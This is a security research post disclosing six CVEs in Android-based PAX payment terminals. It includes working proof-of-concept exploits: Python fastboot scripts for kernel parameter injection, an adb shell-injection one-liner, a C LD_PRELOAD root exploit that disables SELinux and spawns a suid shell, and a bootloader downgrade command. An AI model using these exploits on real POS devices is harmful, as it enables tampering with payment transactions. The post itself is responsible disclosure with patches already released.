Research & Development
$ #

Android-based PAX POS vulnerabilities (Part 1)

Authors: Adam Kliś, Hubert Jasudowicz, 15.01.2024

Banking companies worldwide are finally shifting away from custom-made Point of Sale (POS) devices towards the wildly adopted and battle-tested Android operating system. No more obscure terminals; the era of giant, colorful touchscreens is here! While Android is a secure, hardened OS, implementing and integrating your own features with custom hardware requires a lot of time and effort.

STM Cyber R&D team decided to reverse engineer POS devices made by the worldwide known company PAX Technology, as they are being rapidly deployed in Poland. In this article, we present technical details of 6 vulnerabilities, which were assigned CVEs.

Exploited PAX A920 device

Due to heavy application sandboxing in the Android operating system (the base for the PaxDroid system present on PAX devices), applications can't interfere with each other. Still, some applications require higher privileges to control certain parts of the device, thus they are running as higher-privileged user. However, if an attacker can escalate their privileges to theroot account, they can tamper with any application, including certain parts of payment operations. While an attacker still can't access decrypted information about the payee (like credit card information), since they are being processed in separate Secure Processor (SP), they can modify data the merchant application sends to the SP, which includes transaction amount. Obtaining access to other high-privileged accounts, such as system, is also valuable since it makes the attack surface to the root account much bigger.

While searching for vulnerabilities, STM Cyber focused on 2 attack vectors:

  • Local code execution from the bootloader, which doesn't require any privileges other than access to the USB port of the device. While this requires physical access to the device, this is still an interesting attack vector due to the nature of POS devices. Since different PAX POS use different CPU vendors, they also use different bootloaders. We've found CVE-2023-4818 when testing PAX A920, while A920Pro and A50 were vulnerable to CVE-2023-42134 and CVE-2023-42135.
  • Privilege escalation to system user. Vulnerabilities from this class are present in the PaxDroid system itself thus they are present in almost all Android-based PAX POS devices. CVE-2023-42136 allows for privilege escalation from any user to system account greatly increasing attack surface.

CVE-2023-42133 - Reserved

🙂

CVE-2023-42134 - Signed partition overwrite and subsequently local code execution as root via hidden bootloader command

  • Product: PAX A920Pro/PAX A50/PAX A77
  • CVSS Score: CVSS 7.6 (AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
  • Impact: Local code execution as root
  • Known vulnerable version: PayDroid 8.1.0_Sagittarius_11.1.50_20230314
  • Fix verified in: PayDroid 8.1.0_Sagittarius_V02.9.99T9_20230919
  • CERT.PL reference: https://cert.pl/en/posts/2024/01/CVE-2023-4818/

By executing the hidden oem paxassert command in fastboot mode, it's possible to overwrite the unsigned pax1 partition. This results in injection of kernel arguments, resulting in arbitrary code execution. Fastboot flashing handler function first checks if we're trying to flash a special partition:

If the provided partition name is pax1, and paxAssert, the configuration will be applied:

pax1 is a special partition that doesn't contain filesystem but behaves more like a configuration map. Certain values from this map are used as kernel parameters (and allow spaces in their values), giving us kernel parameter injection.

Attached below is a PoC script, which chains kernel parameter injection with custom rootfs executed from a fastboot buffer (technique explained in depth here).

from pathlib import Path
import sys
import tempfile
from contextlib import contextmanager
from usb1 import USBContext, USBError, USBDeviceHandle

# these 4 values may need to be changed on per-product basis:
PAX_VID = 0x2fb8
PAX_PID = 0x2240
ep_in = 0x85
ep_out = 0x06

# we assume this will be used only after open_fastboot
g_handle: USBDeviceHandle = None  # type: ignore

def send(bytez: bytes) -> None:
    print(f"Sending {len(bytez)} {bytez[:0x18]}...")
    g_handle.bulkWrite(ep_out, bytez)

def recv(count: int = 512) -> bytes:
    data = g_handle.bulkRead(ep_in, count)
    print("Got status", data)
    return data

def cmd(data: bytes) -> bytes:
    send(data)
    return recv()

def check_status(expected, received):
    if received != expected:
        raise RuntimeError(f"Expected status {expected}, got, {received}")

@contextmanager
def open_fastboot(*args, **kwargs):
    with USBContext() as ctx:
        device = ctx.getByVendorIDAndProductID(PAX_VID, PAX_PID)
        if device is None:
            print("Device not found")
            exit(1)
        try:
            global g_handle
            g_handle = device.open()
        except USBError:
            print("Failed to open USB device")
            exit(1)

        with g_handle.claimInterface(0):
            yield

def upload_image(path: Path) -> None:
    total_size = path.stat().st_size
    send(f"download:{total_size:08x}".encode())
    response = recv()
    check_status(b"DATA", response[:4])

    with open(path, "rb") as file:
        while True:
            data = file.read(512)
            if not data:
                break
            send(data)

    response = recv()
    check_status(b"OKAY", response)

def flash(partition_name: str) -> None:
    check_status(b"OKAY", cmd(f"flash:{partition_name}".encode()))

def upload_data(bytez: bytes) -> None:
    # yes, I know this could be done better but I'm too lazy
    with tempfile.NamedTemporaryFile() as tmp:
        tmp.write(bytez)
        tmp.flush()
        upload_image(Path(tmp.name))

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("invalid number of parameters, please provide image")
        sys.exit(1)

    initrd_image = Path(sys.argv[1])
    initrd_size = initrd_image.stat().st_size

    with open_fastboot():
        print("enabling paxassert")
        upload_data(b"yes\x00")
        check_status(cmd(b"oem paxassert"), b"OKAY")

        print("pushing pax1 partition")
        upload_data(f'LOCALE="pl-PL initrd=0x82000000,{initrd_size}"'.encode())

        print("flashing pax1")
        flash("pax1")

        print("pushing initrd")
        upload_image(initrd_image)

        check_status(b"OKAY", cmd(b"continue"))

CVE-2023-42135 - Local code execution as root via kernel parameter injection in fastboot

  • Product: PAX A920Pro/PAX A50/PAX A77
  • CVSS Score: CVSS 7.6 (AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
  • Impact: Local code execution as root
  • Known vulnerable version: PayDroid 8.1.0_Sagittarius_11.1.50_20230614
  • Fix verified in: PayDroid 8.1.0_Sagittarius_V02.9.99T9_20230919
  • CERT.PL reference: https://cert.pl/en/posts/2024/01/CVE-2023-4818/

Contents of an unsigned “partition” named exsn are concatenated to the kernel argument list. By flashing this exsn partition, it’s possible to inject arbitrary kernel arguments, resulting in arbitrary code execution.

Fastboot flashing handler function, first checks if we’re trying to flash a special partition:

The value of exsn is passed in to kernel. Since exsn can be changed to any value, including one with spaces, it possible to inject any kernel parameters.

Attached below is PoC script, which chains kernel parameter injection with custom initroot executed from fastboot buffer (technique explained in depth here).

from pathlib import Path
import sys
import tempfile
from contextlib import contextmanager
from usb1 import USBContext, USBError, USBDeviceHandle

# these 4 values may need to be changed on per-product basis:
PAX_VID = 0x2fb8
PAX_PID = 0x2240
ep_in = 0x85
ep_out = 0x06

# we assume this will be used only after open_fastboot
g_handle: USBDeviceHandle = None  # type: ignore

def send(bytez: bytes) -> None:
    print(f"Sending {len(bytez)} {bytez[:0x18]}...")
    g_handle.bulkWrite(ep_out, bytez)

def recv(count: int = 512) -> bytes:
    data = g_handle.bulkRead(ep_in, count)
    print("Got status", data)
    return data

def cmd(data: bytes) -> bytes:
    send(data)
    return recv()

def check_status(expected, received):
    if received != expected:
        raise RuntimeError(f"Expected status {expected}, got, {received}")

@contextmanager
def open_fastboot(*args, **kwargs):
    with USBContext() as ctx:
        device = ctx.getByVendorIDAndProductID(PAX_VID, PAX_PID)
        if device is None:
            print("Device not found")
            exit(1)
        try:
            global g_handle
            g_handle = device.open()
        except USBError:
            print("Failed to open USB device")
            exit(1)

        with g_handle.claimInterface(0):
            yield

def upload_image(path: Path) -> None:
    total_size = path.stat().st_size
    send(f"download:{total_size:08x}".encode())
    response = recv()
    check_status(b"DATA", response[:4])

    with open(path, "rb") as file:
        while True:
            data = file.read(512)
            if not data:
                break
            send(data)

    response = recv()
    check_status(b"OKAY", response)

def flash(partition_name: str) -> None:
    check_status(b"OKAY", cmd(f"flash:{partition_name}".encode()))

def upload_data(bytez: bytes) -> None:
    # yes, I know this could be done better but I'm too lazy
    with tempfile.NamedTemporaryFile() as tmp:
        tmp.write(bytez)
        tmp.flush()
        upload_image(Path(tmp.name))

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print("invalid number of parameters, please provide image")
        sys.exit(1)

    initrd_image = Path(sys.argv[1])
    initrd_size = initrd_image.stat().st_size

    with open_fastboot():
        exsn = get_exsn()
        initrd_size = initrd_image.stat().st_size
        exsn_data = exsn + b" initrd=0x82000000," + str(int(initrd_size)).encode()
        print("exsn_data:", exsn_data)

        print("pushing exsn")
        upload_data(exsn_data)

        print("flashing exsn")
        flash("exsn")

        print("pushing initrd")
        upload_image(initrd_image)

        check_status(b"OKAY", cmd(b"continue"))

CVE-2023-42136 - Privilege escalation from any user/application to system user via shell injection binder-exposed service

  • Product: All Android-based PAX POS devices
  • CVSS Score: CVSS 8.8 (AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
  • Impact: Privilege escalation from any user/application to system user
  • Known vulnerable version: PayDroid 11.1.50_20230614
  • Fix verified in: PayDroid V02.9.99T9_20230919
  • CERT.PL reference: https://cert.pl/en/posts/2024/01/CVE-2023-4818/

Android service named PaxSmartDeviceServcie (typo intended) is vulnerable to shell injection, escalating any user to system account. While it checks if the command starts with dumpsys, this check can be trivially bypassed by passing in dumpsys; command as an argument.

adb shell "service call PaxSmartDeviceServcie 16 s16 'dumpsysx; id > /data/local/tmp/win'"

CVE-2023-42137 - Privilege escalation from system/shell user to root via insecure operations in systool_server daemon

  • Product: All Android-based PAX POS devices
  • CVSS Score: CVSS 8.8 (AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
  • Impact: Privilege escalation from system/shell user to root user
  • Known vulnerable version: PayDroid 11.1.50_20230614
  • Fixed verified in: PayDroid V02.9.99T9_20230919
  • CERT.PL reference: https://cert.pl/en/posts/2024/01/CVE-2023-4818/

systool_server is a daemon exposed via binder running with root privileges. It exposes an API for execution of miniunz command with user controller input and output directory. An attacker can inject an arbitrary amount of parameters, including additional command flags. Furthermore, given that the attacker has control over both the source directory and the destination directory (/tmp), they can manipulate this situation by crafting malicious symbolic links within the /tmp directory. This allows the attacker to overwrite arbitrary files, potentially leading to the escalation of privileges. By overwriting specific files within the /data partition, the attacker may exploit this vulnerability to assume the privileges of a system user, thereby hijacking an application that runs with system-level privileges.

systool_server performs multiple checks to verify caller uid and binary to ensure only verified binaries are using this API. These checks can be bypassed using good old LD_PRELOAD. Finally, to pop a fully interactive shell, we use mount without nosuid to create a suid binary. See the code below for PoC:

#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>
#include "binder.h"

struct binder_state *g_binder_state;
uint32_t target;

int binder_init() {
    struct binder_state* bs;
    bs = binder_open(128*1024);
    if (!bs) {
        fprintf(stderr, "failed to open binder driver\n");
        return -1;
    }
    char b[0x200];
    struct binder_io a;
    struct binder_io c;
    bio_init(&a, &b, 0x200, 4);
    bio_put_uint32(&a, 0);
    bio_put_string16_x(&a, "android.os.IServiceManager");
    bio_put_string16_x(&a, "systool_binder");
    int status = binder_call(bs, &a, &c, 0, 2);
    if (status == 0) {
        int status2 = bio_get_ref(&c);
        if (status2 != 0) {
            target = status2;
            binder_acquire(bs, status2);
        }
        binder_done(bs, &a, &c);
    }
    g_binder_state = bs;
    return 0;
}

void systoolExecShellCmdV2(char* src) {
    struct binder_io msg;
    struct binder_io reply;
    char buf[0x200];
    bio_init(&msg, buf, 0x200, 4);
    bio_put_uint32(&msg, 0);
    bio_put_string16_x(&msg, "SystoolBinder");
    bio_put_uint32(&msg, 3); // cmd
    bio_put_uint32(&msg, 1); // subcmd
    bio_put_uint32(&msg, 1); // num arguments
    bio_put_string16_x(&msg, src);
    int status = binder_call(g_binder_state, &msg, &reply, target, 18);
    if (status == 0) {
        int ret1 = bio_get_uint32(&reply);
        int ret2 = bio_get_uint32(&reply);
        binder_done(g_binder_state, &msg, &reply);
        printf("ExecShellCmdV2: ret1=%d ret2=%d\n", ret1, ret2);
    }
}

int executed = 0;

int printf(const char* __fmt, ...) {
    if (executed)
        return 0;
    executed = 1;

    pid_t pid = getpid();
    fprintf(stderr, "[*] Hello from PID %d\n", pid);
    char linkbuf[0x100];
    readlink("/proc/self/exe", linkbuf, 0x100);
    fprintf(stderr, "[*] /proc/self/exe is pointing at %s\n", linkbuf);

    binder_init();

    // prep
    system("rm /tmp/monitor.bin");

    fprintf(stderr, "[*] disabling fs selinux\n");
    system("ln -s /sys/fs/selinux/enforce /tmp/monitor.bin");
    system("echo -n '0' > /data/local/tmp/zero");
    systoolExecShellCmdV2("/data/local/tmp/zero");

    // cleanup
    system("rm /data/local/tmp/zero");
    system("rm /tmp/monitor.bin");

    fprintf(stderr, "[*] setting up suid\n");
    system("chmod +s /data/local/tmp/escalate");

    fprintf(stderr, "[*] copying suid to /mnt\n");
    system("ln -s /mnt/escalate /tmp/monitor.bin");
    systoolExecShellCmdV2("/data/local/tmp/escalate");

    // cleanup
    system("rm /tmp/monitor.bin");

    fprintf(stderr, "[*] spawning shell\n");
    execve("/mnt/escalate", NULL, NULL);

    return 0;
}

CVE-2023-4818 - Bootloader downgrade via improper tokenization

  • Product: PAX A920
  • CVSS Score: CVSS 7.3 (AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
  • Impact: Bootloader can be downgraded to a vulnerable version, resulting in local code execution as root
  • Known vulnerable version: PayDroid 7.1.2_Aquarius_11.1.50_20230614
  • Fix verified in: PayDroid 7.1.2_Aquarius_V02.9.99T9_20230919
  • CERT.PL reference: https://cert.pl/en/posts/2024/01/CVE-2023-4818/

By switching to fastboot mode and flashing a partition named aboot:, it’s possible to downgrade the bootloader to a previously vulnerable, signed version (version check is skipped).

We skip the signature and version check since aboot: does not match any known partition name:

Then, the provided name is tokenized with : - ending up with just aboot. This way, we can bypass the version check and downgrade the bootloader.

fastboot flash 'aboot:' aboot.img

Disclosure timeline

  • 07/04/2023 - first contact with vendor briefly describing vulnerabilities (no reply)
  • 08/05/2023 - second attempt of contact with vendor (successful)
  • 10/05/2023 - sent technical details explaining all vulnerabilities (with PoC)
  • 01/08/2023 - contacted CERT.PL to assign CVEs (instant reply)
  • 09/10/2023 - further contact with PAX to fix found vulnerabilities
  • 30/11/2023 - STM Cyber verifies patches
  • 15/01/2024 - Public release